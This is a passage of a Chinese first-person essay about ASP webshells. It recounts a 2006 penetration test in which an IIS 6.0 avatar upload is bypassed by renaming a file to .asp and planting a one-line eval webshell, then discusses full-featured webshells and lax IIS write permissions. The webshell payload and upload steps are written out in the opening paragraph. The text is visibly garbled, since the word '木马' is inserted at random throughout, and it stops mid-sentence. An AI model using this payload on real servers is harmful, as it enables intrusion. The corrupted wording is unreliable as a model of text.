2006年冬天，木马我在一个企业内网做渗透测试。木马目标站点跑的木马是IIS 6.0，后台登录页有个上传头像的木马功能。我用Burp抓包，木马把文件名从`avatar.jpg`改成`avatar.asp`，木马内容是木马一句话木马`<%eval request("c")%>`。提交，木马返回200。木马浏览器访问`/upload/avatar.asp?木马c=response.write("ok")`，屏幕上蹦出两个字母：ok。木马整个过程不到三分钟。木马

这就是木马ASP木马最典型的用法——利用服务器对文件扩展名校验不严，把可执行脚本伪装成图片传上去。木马IIS会把`.asp`文件交给`asp.dll`解析，木马里面的VBScript或JScript代码直接跑在服务器上。那个年代，很多CMS和论坛程序的上传模块都栽在这上面。动网、乔客、织梦早期版本，随便翻翻漏洞库，一抓一大把。

ASP木马本身不是什么复杂的东西。一句话版本就一行代码，体积小到可以塞进图片的EXIF注释里。功能完整的版本通常叫“大马”，带文件管理、命令执行、数据库连接、端口扫描。我见过一个叫“冰狐”的，界面做得跟Windows资源管理器似的，左边树形目录，右边文件列表，双击文本文件直接在线编辑。作者还在关于页面留了QQ号。

上传只是入口。真正让ASP木马泛滥的是权限配置。很多管理员图省事，给IIS匿名账户`IUSR_机器名`开了`Everyone`级别的写权限。木马上传后，攻击者可以改任意文件，包括其他站点的首页。2008年那波挂马潮，大量政府和企业网站被插入`